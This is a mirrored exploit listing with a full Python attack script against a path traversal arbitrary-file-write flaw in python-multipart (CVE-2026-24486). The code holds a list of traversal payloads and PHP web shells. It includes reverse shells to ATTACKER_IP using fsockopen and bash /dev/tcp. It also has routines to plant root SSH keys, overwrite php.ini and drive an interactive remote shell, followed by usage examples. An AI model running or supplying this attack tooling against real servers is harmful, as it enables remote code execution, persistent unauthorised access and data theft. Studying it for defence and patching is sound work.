Share
## https://sploitus.com/exploit?id=PACKETSTORM:222998
==================================================================================================================================
| # Title : Python-Multipart 0.0.22 Arbitrary File Write |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/Kludex/python-multipart |
==================================================================================================================================
[+] Summary : This is an exploitation-oriented targeting a path traversal vulnerability in multipart file upload handling.
[+] POC :
#!/usr/bin/env python3
import requests
import os
import sys
import argparse
import time
import json
import random
import string
from urllib.parse import urljoin
BANNER = """
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Python-Multipart Path Traversal Exploit (CVE-2026-24486) โ
โ Affected: python-multipart < 0.0.22 โ
โ Type: Path Traversal -> Arbitrary File Write โ
โ Author: indoushka โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
"""
class PythonMultipartExploit:
def __init__(self, target_url, verbose=False, timeout=10):
self.target_url = target_url.rstrip('/')
self.verbose = verbose
self.timeout = timeout
self.session = requests.Session()
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
})
self.uploaded_files = []
def log(self, msg, level="INFO"):
"""Print formatted messages"""
colors = {
"INFO": "\033[94m[*]\033[0m",
"SUCCESS": "\033[92m[+]\033[0m",
"ERROR": "\033[91m[-]\033[0m",
"WARNING": "\033[93m[!]\033[0m",
"DATA": "\033[96m[>]\033[0m"
}
prefix = colors.get(level, "[*]")
print(f"{prefix} {msg}")
def generate_payload_content(self, content_type="webshell"):
"""Generate payload content"""
if content_type == "webshell_simple":
return """<?php
if(isset($_REQUEST['cmd'])) {
echo "<pre>";
system($_REQUEST['cmd'] . " 2>&1");
echo "</pre>";
}
?>"""
elif content_type == "webshell_minimal":
return "<?=system($_GET['cmd']);?>"
elif content_type == "reverse_shell":
return """<?php
$ip = 'ATTACKER_IP';
$port = ATTACKER_PORT;
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>"""
elif content_type == "test":
return f"[TEST] POC executed at {time.strftime('%Y-%m-%d %H:%M:%S')}"
elif content_type == "ssh_key":
return """ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... (SSH key content)"""
else:
return f"Content written by exploit at {time.time()}"
def get_path_traversal_payloads(self, filename):
"""Generate various Path Traversal payloads"""
payloads = [
f"/tmp/{filename}",
f"/etc/{filename}",
f"/root/{filename}",
f"/var/www/html/{filename}",
f"/home/www/{filename}",
f"/usr/local/www/{filename}",
f"../{filename}",
f"../../{filename}",
f"../../../{filename}",
f"../../../../{filename}",
f"../../../../../{filename}",
f"....//....//{filename}",
f"..../..../{filename}",
f"..\\..\\{filename}", # Windows style
f"../../../{filename}%00.jpg",
f"../../../{filename}\\0.jpg",
f"//etc//{filename}",
f"///etc///{filename}",
f"/etc/../etc/{filename}",
f"%2e%2e%2f%2e%2e%2f{filename}",
f"..%252f..%252f{filename}",
f"../.../../{filename}",
f"././/../{filename}",
]
return payloads
def upload_file(self, file_path, content, content_type="text/plain", field_name="file"):
"""
Upload file using malicious path name
Args:
file_path: Target path (may contain Path Traversal)
content: File content
content_type: MIME content type
field_name: Form field name for the file
"""
try:
files = {
field_name: (file_path, content, content_type)
}
if self.verbose:
self.log(f"Uploading file to: {file_path}", "DATA")
self.log(f"Content size: {len(content)} bytes", "DATA")
response = self.session.post(self.target_url, files=files, timeout=self.timeout)
return response
except requests.exceptions.RequestException as e:
self.log(f"Upload error: {e}", "ERROR")
return None
def test_path_traversal(self, filename="test.txt"):
"""Test for Path Traversal vulnerability"""
self.log("Testing for Path Traversal vulnerability...")
test_content = self.generate_payload_content("test")
test_payloads = self.get_path_traversal_payloads(filename)
vulnerable_paths = []
for i, payload in enumerate(test_payloads[:10], 1):
if self.verbose:
self.log(f"Testing {i}/{len(test_payloads[:10])}: {payload}")
response = self.upload_file(payload, test_content)
if response and response.status_code < 500:
self.log(f"Potential success with: {payload} (Status: {response.status_code})", "SUCCESS")
vulnerable_paths.append(payload)
elif response:
self.log(f"Failed with: {payload} (Status: {response.status_code})")
time.sleep(0.5)
if vulnerable_paths:
self.log(f"Found {len(vulnerable_paths)} vulnerable paths!", "SUCCESS")
return vulnerable_paths
else:
self.log("No obvious Path Traversal vulnerability found", "WARNING")
return []
def deploy_webshell(self, target_path="shell.php", shell_type="simple"):
"""Deploy web shell on the server"""
self.log(f"Attempting to deploy web shell to: {target_path}")
shell_content = self.generate_payload_content(f"webshell_{shell_type}")
response = self.upload_file(target_path, shell_content, "application/x-php")
if response and response.status_code < 500:
self.log("Web shell deployed successfully!", "SUCCESS")
return True
else:
self.log(f"Failed to deploy web shell (Status: {response.status_code if response else 'No response'})", "ERROR")
return False
def execute_command_via_webshell(self, shell_url, command):
"""Execute command via web shell"""
try:
response = self.session.get(shell_url, params={"cmd": command}, timeout=self.timeout)
if response.status_code == 200:
if "<pre>" in response.text:
import re
match = re.search(r"<pre>(.*?)</pre>", response.text, re.DOTALL)
return match.group(1) if match else response.text
return response.text
return None
except Exception as e:
self.log(f"Execution error: {e}", "ERROR")
return None
def write_ssh_key(self, username="root", key_path=None):
"""Write SSH key for user"""
if not key_path:
key_path = f"/home/{username}/.ssh/authorized_keys"
ssh_key = self.generate_payload_content("ssh_key")
self.log(f"Attempting to write SSH key to: {key_path}")
return self.upload_file(key_path, ssh_key, "text/plain")
def upload_php_ini_config(self):
"""Upload PHP ini configuration file"""
php_ini_content = """disable_functions =
open_basedir =
allow_url_fopen = On
allow_url_include = On
"""
return self.upload_file("/etc/php.ini", php_ini_content)
def mass_upload(self, file_list, content_template):
"""Upload multiple files"""
results = []
for file_path in file_list:
self.log(f"Uploading: {file_path}")
content = content_template.replace("{file}", os.path.basename(file_path))
response = self.upload_file(file_path, content)
results.append({
"path": file_path,
"success": response and response.status_code < 500,
"status_code": response.status_code if response else None
})
time.sleep(0.5)
return results
def interactive_mode(self, target_path="shell.php"):
"""Interactive mode via web shell"""
base_url = self.target_url.rsplit('/', 1)[0]
shell_url = f"{base_url}/{target_path}"
self.log(f"Attempting to access web shell: {shell_url}")
test_response = self.execute_command_via_webshell(shell_url, "echo 'TEST'")
if test_response and "TEST" in test_response:
self.log("Web shell access successful!", "SUCCESS")
print("\n" + "=" * 60)
print("Interactive Mode - Type 'exit' to quit")
print("=" * 60 + "\n")
while True:
try:
cmd = input("\033[92mShell>\033[0m ").strip()
if cmd.lower() == "exit":
break
if not cmd:
continue
result = self.execute_command_via_webshell(shell_url, cmd)
if result:
print(result.strip())
else:
print("[!] No output received")
except KeyboardInterrupt:
print("\n[!] Use 'exit' to quit")
else:
self.log("Failed to access web shell", "ERROR")
def create_evil_file(filename, content_type="webshell"):
"""Create malicious file locally"""
content = {
"webshell": """<?php system($_GET['cmd']); ?>""",
"reverse": """<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1'"); ?>""",
"info": """<?php phpinfo(); ?>"""
}
with open(filename, 'w') as f:
f.write(content.get(content_type, content["webshell"]))
return filename
def main():
parser = argparse.ArgumentParser(description="Python-Multipart Path Traversal Exploit (CVE-2026-24486)")
parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://localhost:8000/upload)")
parser.add_argument("--test", action="store_true", help="Test for vulnerability only")
parser.add_argument("--webshell", help="Web shell filename (e.g., shell.php)")
parser.add_argument("--shell-type", choices=["simple", "minimal"], default="simple", help="Web shell type")
parser.add_argument("--command", help="Execute command via web shell")
parser.add_argument("--upload", help="Upload local file to remote path")
parser.add_argument("--remote-path", help="Remote path for upload (with --upload)")
parser.add_argument("--content", help="Custom content for upload (text)")
parser.add_argument("--interactive", action="store_true", help="Interactive mode after deploying web shell")
parser.add_argument("--list-payloads", action="store_true", help="List Path Traversal payloads")
parser.add_argument("-v", "--verbose", action="store_true", help="Show verbose output")
args = parser.parse_args()
print(BANNER)
if args.list_payloads:
exploit = PythonMultipartExploit(args.url, args.verbose)
payloads = exploit.get_path_traversal_payloads("test.txt")
print("\nPath Traversal Payloads:")
for i, p in enumerate(payloads, 1):
print(f" {i:2}. {p}")
return
exploit = PythonMultipartExploit(args.url, args.verbose)
if args.test:
exploit.test_path_traversal()
return
if args.upload:
if not os.path.exists(args.upload):
print(f"[-] File not found: {args.upload}")
return
remote_path = args.remote_path or f"/tmp/{os.path.basename(args.upload)}"
with open(args.upload, 'rb') as f:
content = f.read()
response = exploit.upload_file(remote_path, content)
if response and response.status_code < 500:
print(f"[+] Uploaded {args.upload} to {remote_path}")
else:
print(f"[-] Upload failed: {response.status_code if response else 'No response'}")
return
if args.content:
remote_path = args.remote_path or "/tmp/custom.txt"
response = exploit.upload_file(remote_path, args.content)
if response and response.status_code < 500:
print(f"[+] Written content to {remote_path}")
else:
print(f"[-] Write failed: {response.status_code if response else 'No response'}")
return
if args.webshell:
if exploit.deploy_webshell(args.webshell, args.shell_type):
base_url = args.url.rsplit('/', 1)[0]
shell_url = f"{base_url}/{args.webshell}"
print(f"\n[+] Web shell available at: {shell_url}?cmd=command")
if args.command:
result = exploit.execute_command_via_webshell(shell_url, args.command)
if result:
print(f"\n[+] Command output:\n{result}")
if args.interactive:
exploit.interactive_mode(args.webshell)
return
parser.print_help()
print("\n[!] Examples:")
print(" Test vulnerability: python3 exploit.py -u http://localhost:8000/upload --test")
print(" Deploy web shell: python3 exploit.py -u http://localhost:8000/upload --webshell shell.php")
print(" Execute command: python3 exploit.py -u http://localhost:8000/upload --webshell shell.php --command 'id'")
print(" Interactive mode: python3 exploit.py -u http://localhost:8000/upload --webshell shell.php --interactive")
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================